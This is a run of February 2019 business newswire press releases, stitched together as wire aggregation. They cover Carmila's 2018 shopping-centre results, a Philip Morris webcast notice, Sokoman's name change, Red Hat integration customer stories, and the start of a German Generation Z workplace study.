35 Compensation paid by a tenant to modify the purpose of his lease and be able to exercise an activity other than that originally specified in the lease contract

36 Earnings before interest, tax, depreciation and amortization

37 In 2018

38 Including the fair value of investments in associates for Euro 64.4M in 2018 (vs Euro 67.2M in 2017), since the value of the portfolio held by associates is not included in the appraisal value

39 Fonciere Euris also holds an option of 0.99% through a derivative instrument with physical settlement. In addition, with Rallye it is economically exposed on 4.5% with cash settlement only.

40 Sites on a constant surface area

41 Including the other assets (large specialty stores, independent cafeterias and other standalone sites)

42 European Public Real Estate Association.

43 The EPRA cost ratio deducts all vacancy costs for assets undergoing development/refurbishment if they have been expensed. The costs that can be excluded are property taxes, service charges, contributions to marketing costs, insurance premiums, carbon tax, and any other costs directly related to the property.

44 Gross rental income should be calculated after deducting any ground rent payable. All service charges, management fees and other income in respect of property expenses must be added and not deducted. If the rent includes service charges, these should be restated to exclude them. Tenant incentives may be deducted from rental income, whereas any other costs should be recognized in line with IFRS requirements.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005597/en/

Contacts:

Analysts investors contact:

Alexandre Leroy

Tel: +33(0)1 53 65 24 39A successful year for Carmila

Gross rental income increases by +13.1% to 340.3m.

Recurring earnings for 2018 total 207.5m, up +13.5%

Strong growth of the local digital marketing activity

Regulatory News:

Carmila (Paris:CARM) has proven the strength of its business model and the dynamism of its teams. The results for this year highlight the company's ability to transform and enhance the value of its shopping centres, through the implementation of a retailer approach. Locally-deployed teams, retailer support with powerful digital marketing tools, and an entrepreneurial spirit applied to all areas of its business provide Carmila with unique potential for growth.

Gross rental income increased by + 13.1% to 340.3m , including organic growth of +2.8%.

to , including organic growth of Recurring earnings amounted to 207.5m , an increase of +13.5% compared with 2017. Recurring earnings per share remained stable at 1.53 per share . The dilutive effect of the capital increase carried out in 2017 1 was offset in full.

, an increase of compared with 2017. Recurring earnings per share remained stable at . The dilutive effect of the capital increase carried out in 2017 was offset in full. The Gross asset value, including transfer taxes, of Carmila's shopping centres totalled 6.4bn , up +10.3% over 12 months. At comparable scope 2 , this figure rose by +2.2% , stable in France and increasing in Spain and Italy. The France portfolio saw a marginal increase in average market capitalisation rates (+12 bps), offset by the positive effects of the Carmila teams' dynamic approach to asset management. The average capitalisation rate for the portfolio rose by +7 bps over the 12 months from 5.70% a year ago to 5.77%.

, up over 12 months. At comparable scope , this figure rose by , stable in France and increasing in Spain and Italy. The France portfolio saw a marginal increase in average market capitalisation rates (+12 bps), offset by the positive effects of the Carmila teams' dynamic approach to asset management. The average capitalisation rate for the portfolio rose by +7 bps over the 12 months from 5.70% a year ago to 5.77%. EPRA NAV per share grew by +3.3% over 2018, to 28.39 . Restated for the interim dividend of 0.75 paid in November 2017 on 2017 EPRA NAV, NAV rose by +0.6% over the 12 months.

over 2018, to . Restated for the interim dividend of 0.75 paid in November 2017 on 2017 EPRA NAV, NAV rose by over the 12 months. Over the course of 2018, Carmila delivered seven extension projects, thus increasing the leadership of these sites. Retail brands proved to be pursuing a selective development in France in these assets were the letting rate is above 96% and activity already looks promising for the first few months of opening.

In 2018, Carmila signed acquisitions worth 417m and as such boosted its future potential for growth by increasing its presence in the dynamic Spanish market and acquiring assets with significant potential for value creation.

2018 Rental activity

Gross rental income for 2018 totalled 340.3m, an increase of +13.1% as a result oforganic growth combined with acquisitions and extension projects completed in 2017 and 2018.

Organic growth of +2.8% was recorded over 2018, including an impact of indexation of 1.1 points.

Reversion recognised in relation to renewals over the period averaged at +6.9%. Following Carmila's decision to make them a priority for development, specialty leasing and pop up stores enjoyed significant growth (+22.4%) and represented 10.7m in gross rents.

Acquisitions completed in 2018 represented 6.2% of the growth in rental income (+18.6m) and the extension projects delivered in 2017 and 2018 are responsible for 3.8 points of this growth (11.4m).

The financial occupancy rate of the portfolio3 stood at 96.2% at 31 December 2018. This rate has remained stable over the past three years (96.4% at the end of 2017 and 96.0% at the end of 2016).

Net rental income for 2018 stood at 313.7m, an increase of +13.4%.

In addition to the increase in gross rental income, growth in net rental income benefited from an improvement in the net to gross rental income conversion rate (92.2% versus 91.9% in 2017). This was due in part to rental and landlord costs rising slower than rents (cost control).

2018 Income

Operating costs net of other operating income and expenses for 2018 totalled 52.0m, versus 49.7m in 20174, an increase of +4.5%. This growth was mainly linked to variable expenses indexed to income or activity.

EBITDA for 2018 stood at 264.3m, up +15.2% compared with 2017 EBITDA restated for the costs associated with the 2017 merger.

The net financial expense for 2018 was -58.6m. In 2017, this expense was -45.3m and included 6.5m of badwill linked to the Cardety merger. Restated for this non-recurring item and for non-cash elements (fair value adjustments on financial instruments and hedges, IFRS 9, etc.), the net financial expense was -4.9m lower, primarily due to the financial expenses of the new 350m bond issued in March 2018 (6.1m). The average cost of debt stood at 2.02%.

EPRA Recurring Earnings, restated notably for 2017 merger-related items (badwill and costs) and expenses recognised in relation to refinancing arranged at the time of the merger as described below (amortisation of loan issue fees and residual costs relating to repaid debts and unwound hedges), amounted to 207.5m, up +13.5% on 2017, exceeding Carmila's target growth rate of +12%.

Net recurring earnings per share remained stable at 1.53 per share. The dilutive effect of the 618 million capital increase completed in July 2017 (creation of 26.2m shares) was fully absorbed by the growth of cash flows over the year.

Portfolio valuation and NAV

The portfolio valuation, including transfer taxes, stood at 6,405m at 31 December 2018, 599m higher (+10.3%) than at 31 December 2017 (5,806m).

On a comparable scope, the valuation of the portfolio increased by +2.2% (+126m).

Other variations included i) the recognition of seven completed extension projects in 2018 (+76m), representing an additional 71,950 sq.m, annualised rental income of 11.0m, of which 3.9m in 2018, and ii) the addition to the perimeter of new assets, net of the sale of a medium-sized store in Italy (Turin-Grugliasco), representing a net increase of 399m in the market value of assets (acquisition of Marseille-Vitrolles, Madrid-Gran Via de Hortaleza, the Pradera portfolio in Spain and La Veronica in Malaga-Antequera).

The average capitalisation rate for the portfolio was 5.77% compared with 5.70% as at 31 December 2017. This rise is the result of a slight increase in the market capitalisation rate in France (+12 bps), combined with marginally lower rates applied by the experts to certain assets in France and to the Turin-Nichelino shopping centre in Italy given Nichelino's track record of the new extension opened in 2017 (-5 bps on the average Italian capitalisation rate). It is also due to an improvement in the intrinsic quality of these French assets, owing to the dynamic management approach of Carmila's teams, focusing on renovation, a better merchandising mix, lower vacancy rates, reversion recognised, and planned site extensions (-7 bps on the average capitalisation rate of French assets). Lastly, the experts revised the potential rental income from the vacant premises of certain Spanish assets upwards (+3 bps on the average capitalisation rate of Spanish assets).

EPRA NAV per share (fully diluted) at 31 December 2018 was 28.39 per share, compared with 27.48 per share at 31 December 2017, an increase of +3.3%. Following restatement of the 2017 NAV per share for the payment of an interim dividend of 0.75 per share in November 2017, the 12-month NAV growth rate was +0.6%.

EPRA triple net asset value (EPRA NNNAV) (fully diluted) was 27.14 per share, an increase of +2.3%.

NAV inclusive of transfer taxes per share (going concern NAV) (fully diluted) stood at 30.32, an increase of +3.9%.

Debt and balance sheet structure

In February 2018, Carmila issued a third bond with a maturity of 10 years a face value of 350m and a coupon of 2.125%.

At 31 December 2018, Carmila's gross debt stood at 2,390m5 and its cash position amounted to 213m. Available facilities (RCF and net available cash) stood at 1.2bn. The average debt term was 5.5 years (stable compared with 31 December 2017).

At the end of December 2018, the consolidated net financial debt fair value of property assets ratio (including transfer taxes) was 34.0%

The EBITDA net cost of financial debt ratio at 31 December 2018 was 4.9x, compared with 4.7x at 31 December 2017, well above the minimum contractually-agreed bank covenant threshold of 2.0x.

Extension pipeline and acquisitions

Seven extensions were delivered during the year, of which four during the second half of the year, with an average financial letting rate of 96%. These seven extensions represented an additional 71,950 sq.m, annualised rental income of 11.0 million, investment totalling 145 million and an average yield on cost of 7.6%6

The main extensions delivered in 2018 were the Orleans-Cap Saran shopping centre, Evreux (phase 2), the Athis-Mons shopping centre (south of Paris) and the Malaga-Los Patios shopping centre in Spain. All are off to a good start and the entire shopping centres are already seeing the benefits.

For the 2019-2024 period, Carmila's extension pipeline at 31 December 2018 includes 27 projects representing a total forecast investment of 1.4 billion. Carmila has seven major extension projects underway (Nice-Lingostiere, Marseille-Vitrolles, Barcelone-Tarassa, Toulouse-Labege, Montesson (west of Paris), Lyon-Venissieux and Antibes), which represent 80% of the value of this pipeline. The average developer yield on cost of the pipeline is 7.2%.

2019 is set to be a year of consolidation for Carmila, with three projects delivered, representing net annualised rental income of 2.3 million and investment totalling 31 million.

It should be recalled that during the 2018 financial year, Carmila completed acquisitions worth 417 million with the aim of securing future growth on assets that present value creation potential in the most dynamic countries. Carmila thus acquired eight shopping centres in Spain and one shopping centre in Marseille-Vitrolles. Three extension projects and four restructuring projects are already under consideration for these centres with good short term reversionary potential. Carmila has thus increased its exposure in Spain which, at the end of 2018, represented 23% of its portfolio.

B2B2C Digital Strategy

In 2018, Carmila continued to ramp up its local digital marketing strategy, which aims to use digital levers to supply retail brands with digital tools and cutting-edge local marketing expertise.

Carmila's customer database is growing rapidly. At the end of 2018, it comprised 1.95 million qualified contacts, an increase of 77% over 12 months.

Carmila's digital offering for retailers is also expanding and is being increasingly used. We currently offer over 420 initiatives per month (200 per month in December 2017) to our retailers as part of the "Kiosque", which seeks to help them boost their business in our shopping centres. 2,750 retailers have already made use of these solutions. In 2018, 44.2 million emails and text messages were sent to targeted recipients, existing and potential customers, by our centre managers.

This strategy has proven to be effective. For example, the Boost initiatives designed to support certain retailers over a one-year period have seen the brands in question outperform in terms of turnover growth 11.2 points higher than the CNCC panel for their activity category.

Dividends and Outlook

Confident in the robustness and effectiveness of Carmila's business model, the Company's management will ask the General Meeting scheduled for 16 May 2019 to approve the payment of a 2018 dividend matching that of 2017, i.e. 1.50 per share

This dividend amount represents a payout ratio (dividend/recurring earnings) of 98% for 2018, versus 110% for 2017. Linked to the closing price of Carmila shares on 12 February 2019, this dividend represents an exceptional return of 8,6%, more than 800 bps above the OAT 10-year rate.

Carmila's long-term growth prospects are sustainable. Carmila has excellent visibility for its income (long leases, indexation, highly stable occupancy rate), productivity gains that enable it to reduce its cost ratio, and a solid financial structure with stable and predictable cost of debt (S&P rating BBB outlook positive, long maturity debt of which 88% on a fixed rate, good financial liquidity). Furthermore, Carmila has powerful growth drivers at its disposal, including sustained organic growth, a carefully managed pipeline comprising large-scale structural and value-creating projects, and a rapidly expanding, strong local digital marketing strategy.

In addition, Carmila's workforce is agile and dynamic, with vast expertise in digital technology and a passion for innovation. The teams research and develop promising drivers for growth, including:

asset enhancement: significant land reserves (approx. 1.5 million square meters) situated close to urban areas, at the heart of city life and on which it has joint development rights with the Carrefour group. These sites harbour revaluation potential which could be fulfilled through mixed-use construction projects or the reallocation of space;

a joint venture business with early stage retail and customer service start-ups, to support their development in Carmila's shopping centres. This activity will complement our range of established retailers but could also help boost Carmila's performance with double-digit IRR targets for the next five years;

LOUWIFI, a subsidiary created to capitalise on the technical and digital expertise relating to Wi-Fi, low voltage and the integrator network.

Consequently, Carmila's management team is confident in the sustainability and strength of the company's business model.

After the strong growth recorded last year, 2019 will be a year of consolidation:

three extension deliveries and a number of major projects to be launched;

we will be keeping a close eye on LTV and financial liquidity over the year, selecting our investments carefully to ensure flexibility in a changing environment.

In this context, Carmila's goal is to achieve recurring earnings per share growth between 5% and 6,5%.

Main results and financial indicators

In thousands of euros 31 Dec. 2018 31 Dec. 2017 change

2018/2017 Gross rental income Net rental income 340,250 313,658 300,911 276,655 +13.1% +13.4% Overhead costs and other operating income and expense7 (50,574) (47,433) Provisions (1,117) 174 Other operating income and expenses (277) (7,160) Share of equity affiliates (recurring earnings) 2,657 2,439 EBITDA Adjusted EBITDA8 264,347 264,347 224,675 229,390 +17.7% +15.2% Net financial income/(expense) (excl. change in FV of financial derivatives (59,326) (45,543) Corporate income tax9 (2,747) (1,910) Funds from operations (FFO) Adjusted FFO 202,274 202,274 177,222 181,937 +14.1% +11.2% Depreciation and amortisation (1,141) (983) Provisions (1,250) Change in fair value of assets and liabilities, net of tax (36,666) 132,240 Change in fair value of assets owned by equity affiliates 1,225 (8,628) Gains (losses) on sales of investment properties (2,443) (2,803) Other income and expenses 1,610 Consolidated net income Consolidated income, Group share EPRA earnings Recurring EPRA earnings 163,609 163,557 202,447 207,521 314,304 313,787 179,809 182,896 -47.9% -48.0% +12.6% +13.5% Fully diluted per share data (in ) Earnings Per Share (EPS) 1.20 2.63 -54.3% Adjusted FFO 1.49 1.52 -2.4% Recurring EPRA earnings 1.53 1.53 In millions of euros 31 Dec. 2018 31 Dec. 2017 change

2017/2016 Portfolio valuation (includingtransfer taxes) 6,405 5,806 +10.3% EPRA NAV ( per share)- (fully diluted) 28.29 27.48 +3.3% EPRA NNNAV ( per share) - (fully diluted) 27.14 26.53 +2.3%

Next events and publications:

14 July 2019 (14:30 Paris time)Investors and Analysts Meeting

18 April 2019 (After marketclose):Q1 2019 activity

16 May 2019 (14:30 Paristime):Shareholders'Annual General Meeting

25 July 2019 (After market close): 2019Half Year Results

26 July 2019 (9:00 Paris time)Investors and Analysts Meeting

23 October 2019 (After marketclose):Q3 2019 activity

About Carmila

Carmila was founded by Carrefour and large institutional investors in order to develop the value of shopping centres anchored by Carrefour stores in France, Spain and Italy. At 31 December 2018, its portfolio comprised 215 shopping centres in France, Spain and Italy, leaders in their catchment areas, and with a total value of 6.4 billion. Inspired by a genuine retail culture, Carmila's teams include all of the expertise dedicated to retail attractiveness: leasing, digital marketing, specialty leasing, shopping centre management and portfolio management.

Carmila is listed in compartment A of Euronext Paris under ticker CARM. It benefits from SIIC ("societes d'investissements immobiliers cotees") tax status (French REIT regime).

On 18 September 2017, Carmila joined the FTSE EPRA/NAREIT Global Real Estate (EMEA Region) indices.

On 24 September 2018, Carmila joined the Euronext CAC Small, CAC Mid Small and CAC All-tradable indices.

1 Together with the dilutive effect of the final 2017 dividend for which a proposal has been submitted to the shareholders for the option of share-based payment. 1,501,666 shares were created for this purpose on 14 June 2018.

2 Excluding the impact of acquisitions of new shopping malls and extension deliveries completed in 2018.

3 Excluding 1.9% of strategic vacancy at year- end of 2018 and 1.7% at year-end 2017 and 2016

4 2017 expenses restated for costs relating to the 2017 merger between Carmila and Cardety in the amount of 4.7 million.

5 Of which 5 million in bank facilities, i.e. a net cash position of 207 million.

6 Investment and yield on cost including the share of the margin paid to Carrefour for the 50% that it is co-developing.

7 In 2017, this included costs of 4,715 thousand relating to the Carmila/Cardety merger.

8 Restated for costs of 4,715 thousand relating to the Carmila/Cardety merger.

9Excluding deferred taxes on change in fair value of properties and other deferred taxes.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005572/en/

Contacts:

Investor and analyst

Marie-Flore Bachelier General Secretary

marie_flore_bachelier@carmila.com

+33 6 20 91 67 79

Press

Morgan Lavielle Director of Corporate Communications

morgan_lavielle@carmila.com

+33 1 58 33 63 29The five victims of the Capital Gazette shooting were awarded the 'Speaker's Medallion,' the Maryland House of Delegates highest honor, posthumously.(Kim Hairston, Baltimore Sun video)Regulatory News:

Philip Morris International Inc. ("PMI") (NYSE: PM) will host a live audio webcast of a presentation by Andre Calantzopoulos, Chief Executive Officer, joined by Jacek Olczak, Chief Operating Officer and Martin King, Chief Financial Officer, at the Consumer Analyst Group of New York (CAGNY) Conference at www.pmi.com/2019cagny on Wednesday, February 20, 2019 at approximately 2:00 p.m. ET.

The webcast will provide live audio of the entire PMI session and will be in a listen-only mode.

The audio webcast may also be accessed on iOS or Android devices by downloading PMI's free Investor Relations Mobile Application at www.pmi.com/irapp.

An archived copy of the webcast will be available at www.pmi.com/2019cagny until 5:00 p.m. ET on Thursday, March 21, 2019.

Presentation slides and script will also be available at www.pmi.com/2019cagny.

Philip Morris International: Building a Smoke-Free Future

Philip Morris International (PMI) is leading a transformation in the tobacco industry to create a smoke-free future and ultimately replace cigarettes with smoke-free products to the benefit of adults who would otherwise continue to smoke, society, the company and its shareholders. PMI is a leading international tobacco company engaged in the manufacture and sale of cigarettes, smoke-free products and associated electronic devices and accessories, and other nicotine-containing products in markets outside the U.S. PMI is building a future on a new category of smoke-free products that, while not risk-free, are a much better choice than continuing to smoke. Through multidisciplinary capabilities in product development, state-of-the-art facilities and scientific substantiation, PMI aims to ensure that its smoke-free products meet adult consumer preferences and rigorous regulatory requirements. PMI's smoke-free IQOS product portfolio includes heated tobacco and nicotine-containing vapor products. As of December 31, 2018, PMI estimates that approximately 6.6 million adult smokers around the world have already stopped smoking and switched to PMI's heated tobacco product, which is currently available for sale in 44 markets in key cities or nationwide under the IQOS brand. For more information, please visit www.pmi.com and www.pmiscience.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005537/en/

Contacts:

Investor Relations:

New York: +1 (917) 663 2233

Lausanne: +41 (0)58 242 4666

Media:

Lausanne: +41 (0)58 242 4500

Email: Iro.Antoniadou@pmi.comSt. John's, New Foundland--(Newsfile Corp. - February 13, 2019) - Sokoman Iron Corp. (TSXV: SIC) (OTCQB: SICNF) (the "Company" or "Sokoman") today announced that TSX Venture Exchange has approved the change of name of the Company from "Sokoman Iron Corp." to "Sokoman Minerals Corp.", which becomes effective at the opening of the market on February 13, 2019. The stock symbol remains the same. The CUSIP number assigned to the Company's shares following the name change is 83410M101.

The change of name better reflects the nature of the Company's portfolio of properties that comprise various commodities, primarily gold.

Sokoman would also like to announce that the Company is currently working on a new user- and mobile-friendly website which is due to become live in the winter of 2019. The website address will be updated to reflect the new Company name when the upgrade is completed.

About Sokoman Minerals Corp.

Sokoman Minerals Corp. (TSXV: SIC) is a discovery-oriented company with projects in Newfoundland & Labrador, Canada. The Company's primary focus is its portfolio of gold projects in Central Newfoundland on the structural corridor hosting the 4.2 million ounce Valentine Lake gold project 150 km southwest of the Company's high-grade Moosehead gold project. The Company also has a 100% interest in an early-stage antimony project in Newfoundland recently optioned to White Metal Resources, as well as a 100% interest in the Iron Horse (Fe/U/REE) project in Western Labrador.

To learn more, please contact:

Timothy Froude, P. Geo.,

President & CEO

709-765-1726

tfroude@sokomaniron.com

Cathy Hume, Director,

Investor Relations

416-868-1079

cathy@chfir.com

Website: www.sokomaniron.com

Twitter: @SokomanMinerals

Facebook: @SokomanMinerals

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Investors are cautioned that trading in the securities of the Corporation should be considered highly speculative. Except for historical information contained herein, this news release contains forward-looking statements that involve risks and uncertainties. Actual results may differ materially. Sokoman Minerals Corp. will not update these forward-looking statements to reflect events or circumstances after the date hereof. More detailed information about potential factors that could affect financial results is included in the documents filed from time to time with the Canadian securities regulatory authorities by Sokoman Minerals Corp.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42806Customers gain greater speed, flexibility and scale by adopting an agile integration architecture

Red Hat, Inc. (NYSE: RHT), the world's leading provider of open source solutions, today announced that leading global companies, including Amsterdam Airport Schiphol, Direccion Nacional de Migraciones de la Republica Argentina, Government of Canada, Lufthansa Technik, and Weathernews, are creating, extending and deploying integration services across hybrid and multicloud environments using agile integration architectures based on Red Hat technologies, such as Red Hat Fuse, Red Hat 3scale API Management and Red Hat OpenShift Container Platform. Red Hat Fuse, Red Hat 3scale API Management and Red Hat AMQ are part of the Red Hat Integration product portfolio.

Deploying Fuse on Red Hat OpenShift Container Platform, the industry's most comprehensive enterprise Kubernetes platform, organizations can build, deploy, manage and scale containerized integration services for connecting applications, APIs, data and devices on premise, and in public or private cloud environments. With 3scale API Management, organizations can leverage the benefits of APIs. Using an architecture based on containers, APIs and distributed integration, organizations can improve business agility by moving core connectivity and operations tasks away from individual applications and into the platform.

Adopting an agile integration architecture enables customers to more quickly connect disparate systems spread throughout their organization, helping to unlock critical business data and accelerate innovation. Leading organizations are already discovering the power of this approach to better serve their customers and meet the rapidly changing needs of the business, including:

Amsterdam Airport Schiphol As Europe's third largest airport, Amsterdam Airport Schiphol is using Red Hat solutions to expand the range of services it offers passengers and partners, supporting its goal of becoming the world's leading digital airport. To achieve this, Schiphol recognized its need for a more secure, flexible and efficient foundation to build and deploy these services and extend them to partners. With Fuse-based API and integration services running on OpenShift Container Platform, data is able to be exchanged between the Airport Operational DataBase (AODB) and APIs running in the cloud, enabling the airport to develop and deploy new customer-facing services faster and more efficiently.

As Europe's third largest airport, Amsterdam Airport Schiphol is using Red Hat solutions to expand the range of services it offers passengers and partners, supporting its goal of becoming the world's leading digital airport. To achieve this, Schiphol recognized its need for a more secure, flexible and efficient foundation to build and deploy these services and extend them to partners. With Fuse-based API and integration services running on OpenShift Container Platform, data is able to be exchanged between the Airport Operational DataBase (AODB) and APIs running in the cloud, enabling the airport to develop and deploy new customer-facing services faster and more efficiently. Direccion Nacional de Migraciones de la Republica Argentina Working with Red Hat, Direccion Nacional de Migraciones de la Republica Argentina (National Migration Department), the government agency that oversees entry and exit to the country, created a private cloud platform that provides a single, comprehensive view of travelers to more effectively analyze potential threats and coordinate with national and international security organizations. As part of a digital transformation initiative, the department built a private cloud data environment and deployed Red Hat Fuse on OpenShift Container Platform to structure, connect and manage information from a variety of internal and third-party data sources and APIs.

Working with Red Hat, Direccion Nacional de Migraciones de la Republica Argentina (National Migration Department), the government agency that oversees entry and exit to the country, created a private cloud platform that provides a single, comprehensive view of travelers to more effectively analyze potential threats and coordinate with national and international security organizations. As part of a digital transformation initiative, the department built a private cloud data environment and deployed Red Hat Fuse on OpenShift Container Platform to structure, connect and manage information from a variety of internal and third-party data sources and APIs. Government of Canada: In its pursuit to provide better digital services to constituents, and a stronger technology foundation to build and deliver those services, the Government of Canada issued a directive mandating the use of APIs across departments and agencies. Innovation, Science, and Economic Development Canada (ISED) created a multi-tenant hub that enables departments to publish APIs for internal and external use while also giving them the ability to manage the lifecycle, policies and subscription of their own APIs in a decentralized manner. The hub was built using 3scale API Management and OpenShift Container Platform, and serves as a single destination for both government departments and the public to subscribe to the APIs for powering their own innovations.

In its pursuit to provide better digital services to constituents, and a stronger technology foundation to build and deliver those services, the Government of Canada issued a directive mandating the use of APIs across departments and agencies. Innovation, Science, and Economic Development Canada (ISED) created a multi-tenant hub that enables departments to publish APIs for internal and external use while also giving them the ability to manage the lifecycle, policies and subscription of their own APIs in a decentralized manner. The hub was built using 3scale API Management and OpenShift Container Platform, and serves as a single destination for both government departments and the public to subscribe to the APIs for powering their own innovations. Lufthansa Technik Seeking to improve airline technical operations and meet high customer and passenger expectations of the industry, Lufthansa Technik collaborated with Red Hat to build AVIATAR, a system that helps airlines avoid delays and cancellations by using data to better organize and schedule maintenance. AVIATAR takes advantage of hybrid cloud infrastructure from Red Hat, including OpenShift Container Platform, which enables the Lufthansa Technik team to apply DevOps and continuous improvement approaches, and Red Hat Fuse and 3scale API Management, which connect AVIATAR to both internal and external data sources and applications.

Seeking to improve airline technical operations and meet high customer and passenger expectations of the industry, Lufthansa Technik collaborated with Red Hat to build AVIATAR, a system that helps airlines avoid delays and cancellations by using data to better organize and schedule maintenance. AVIATAR takes advantage of hybrid cloud infrastructure from Red Hat, including OpenShift Container Platform, which enables the Lufthansa Technik team to apply DevOps and continuous improvement approaches, and Red Hat Fuse and 3scale API Management, which connect AVIATAR to both internal and external data sources and applications. Weathernews: Weathernews Inc. is a global weather information services organization, providing weather data and analyses to a group of customers that include governments, businesses and individuals. As interest in weather-related information has grown, Weathernews faced challenges related to scaling its ability to develop and deliver applications and services using APIs. To help meet these challenges, the company deployed 3scale API Management, which provides greater flexibility, control and efficiency to meet demand for its services.

Supporting Quotes:

Mike Piech, vice president and general manager, Middleware, Red Hat

"Hybrid integration can be a complex and challenging endeavor and can require organizations to build and scale integration services for numerous internal and external data sources. As Kubernetes-native platforms, Red Hat Fuse and Red Hat 3scale API Management are designed to maximize the benefits of Red Hat OpenShift Container Platform to more efficiently manage, share and scale integrations and APIs across these container- and microservices-based hybrid cloud architectures."

Arie van der Veek, technology lead, Amsterdam Airport Schiphol

"Schiphol aims to provide open data through APIs. Our flight API, for example, exposes flight information like departure time and boarding gate to passengers and partners. We need innovative technology to deliver APIs in a robust, scalable and more secure manner. We developed our API in two weeks with three developers using Red Hat Fuse deployed on Red Hat OpenShift Container Platform. This allowed us to accelerate development from months to weeks. Subsequently we deployed the API to our developer portal, implemented with 3scale API Management, to provide more secure access to developers. This combination of technologies allows us to accelerate time-to-market and increase security, without compromising reliability or scalability."

Osmar Alza, director, Immigration Information, Direccion Nacional de Migraciones de la Republica Argentina

"The new system for migration analysis (SAM) represents a more preventive and predictive paradigm for managing a very complex issue. The private cloud data environment, based on technologies from Red Hat such as Red Hat OpenShift Container Platform and Red Hat Fuse, enable us to tackle the challenge of integrating multiple legal, law enforcement, and national and international security data sources and make faster, more informed decisions."

Mohamed Frendi, Director, Government of Canada

"We believe APIs are instrumental for building open, flexible and transformative information systems, which is why we are enabling departments and agencies to adopt an API-centric foundation for building and delivering new digital services. We have enabled them to do this through a new API store, created by the Innovation, Science and Economic Development Canada team using Red Hat 3scale API Management and Red Hat OpenShift Container Platform, which serves as a central, multi-tenant hub for departments to publish and manage their APIs in a unified way."

Tobias Mohr, head of technology and infrastructure, AVIATAR, Lufthansa Technik

"If needed, we wanted to have the flexibility to change direction with the AVIATAR project more quickly, and without service disruption. Red Hat OpenShift Container Platform, Red Hat Fuse, and the other open source infrastructure components from Red Hat gave us that agility. The moment we have an idea, we can start building the product."

Masaki Fukuda, group leader, service menu development group, Weathernews Inc.

"Integration plays a critical role in our ability to more quickly and effectively deliver the information that our customers need, when they need it. APIs are at the heart of our applications and services, and Red Hat's technologies have enabled us to provision resources and develop new systems and services faster."

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About Red Hat, Inc.

Red Hat is the world's leading provider of enterprise open source software solutions, using a community-powered approach to deliver reliable and high-performing Linux, hybrid cloud, container, and Kubernetes technologies. Red Hat helps customers integrate new and existing IT applications, develop cloud-native applications, standardize on our industry-leading operating system, and automate, secure, and manage complex environments. Award-winning support, training, and consulting services make Red Hat a trusted adviser to the Fortune 500. As a strategic partner to cloud providers, system integrators, application vendors, customers, and open source communities, Red Hat can help organizations prepare for the digital future.

Forward-Looking Statements

Certain statements contained in this press release may constitute "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements provide current expectations of future events based on certain assumptions and include any statement that does not directly relate to any historical or current fact. Actual results may differ materially from those indicated by such forward-looking statements as a result of various important factors, including: risks related to our pending merger with International Business Machines Corporation, the ability of the Company to compete effectively; the ability to deliver and stimulate demand for new products and technological innovations on a timely basis; delays or reductions in information technology spending; the integration of acquisitions and the ability to market successfully acquired technologies and products; risks related to errors or defects in our offerings and third-party products upon which our offerings depend; risks related to the security of our offerings and other data security vulnerabilities; fluctuations in exchange rates; changes in and a dependence on key personnel; the effects of industry consolidation; uncertainty and adverse results in litigation and related settlements; the inability to adequately protect Company intellectual property and the potential for infringement or breach of license claims of or relating to third party intellectual property; the ability to meet financial and operational challenges encountered in our international operations; and ineffective management of, and control over, the Company's growth and international operations, as well as other factors contained in our most recent Quarterly Report on Form 10-Q (copies of which may be accessed through the Securities and Exchange Commission's website at http://www.sec.gov), including those found therein under the captions "Risk Factors" and "Management's Discussion and Analysis of Financial Condition and Results of Operations". In addition to these factors, actual future performance, outcomes, and results may differ materially because of more general factors including (without limitation) general industry and market conditions and growth rates, economic and political conditions, governmental and public policy changes and the impact of natural disasters such as earthquakes and floods. The forward-looking statements included in this press release represent the Company's views as of the date of this press release and these views could change. However, while the Company may elect to update these forward-looking statements at some point in the future, the Company specifically disclaims any obligation to do so. These forward-looking statements should not be relied upon as representing the Company's views as of any date subsequent to the date of this press release.

Red Hat, the Shadowman logo, JBoss and OpenShift are trademarks or registered trademarks of Red Hat, Inc. or its subsidiaries in the U.S. and other countries. Linux is the registered trademark of Linus Torvalds in the U.S. and other countries.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005187/en/

Contacts:

Daniel Thompson

Red Hat, Inc.

+1 978-589-1059

dthompso@redhat.comFrankfurt (ots) -- Vorstudie des Campus M21 (Nurnberg) im Auftrag der berufundfamilie gibt erstmals Aufschluss uber Vereinbarkeitswunsche der Generation Z in den wesentlichen personalpolitischen HandlungsfeldernDie Vorstudie "Generation Z und ihre Erwartungen an die zukunftige Arbeitswelt" nimmt erstmals die Vereinbarkeitswunsche der Generation Z hinsichtlich der wesentlichen personalpolitischen Handlungsfelder in den Blick: Arbeitszeit, Arbeitsorganisation, Arbeitsort, Information und Kommunikation, Fuhrung, Personalentwicklung, finanzielle Zusatzleistungen sowie Serviceleistungen. Die Ergebnisse der Vorstudie basieren auf 42 Tiefeninterviews (qualitative Untersuchung) und der anschlieenden Online-Befragung von 177 Studierenden im Alter zwischen 18 und 22 Jahren. Durchgefuhrt wurde die Untersuchung zwischen Februar und Marz 2018 durch den Campus M21 (Nurnberg) - auf Initiative der berufundfamilie Service GmbH.Feste Rahmenbedingungen gewunschtDie groe Mehrheit der Vertreter*innen der GenZ (58 %) bevorzugt eine wochentliche Arbeitszeit von 36 bis 40 Stunden. Das korreliert mit den Vorstellungen bzgl. des Bruttogehaltswunsches bei Berufseinstieg: Mehr als 2/3 der Befragten wunschen sich ein Bruttojahresgehalt zwischen 30.000 und 50.000 EUR (26 % erwarten 35.001 - 40.000 EUR, 23 % 30.000 - 35.000 EUR und weitere 21 % 40.001 - 50.000 EUR). Die auch als Digital Natives bezeichneten Befragten sind aber durchaus bereit, mehr bzw. langer zu arbeiten; namlich ganz pragmatisch besonders dann, wenn es Projekte erfordern (92 %), wenn daraus bessere Karrierechancen erwachsen (91 %) oder Gehaltszulagen (91 %) zu erwarten sind (Mehrfachnennungen moglich).Gleichzeitig ist es der Generation Z (71 %) wichtig, dass sie sich ihre Arbeitszeit flexibel einteilen kann. Im Sinne der Entgrenzung sind aber feste Rahmenbedingungen dafur ebenso essenziell fur sie. Flexibilisierung soll dabei ganz eindeutig der Optimierung der personlichen Arbeitswelt dienen.Den Arbeitsort flexibel wahlen zu konnen, zahlt 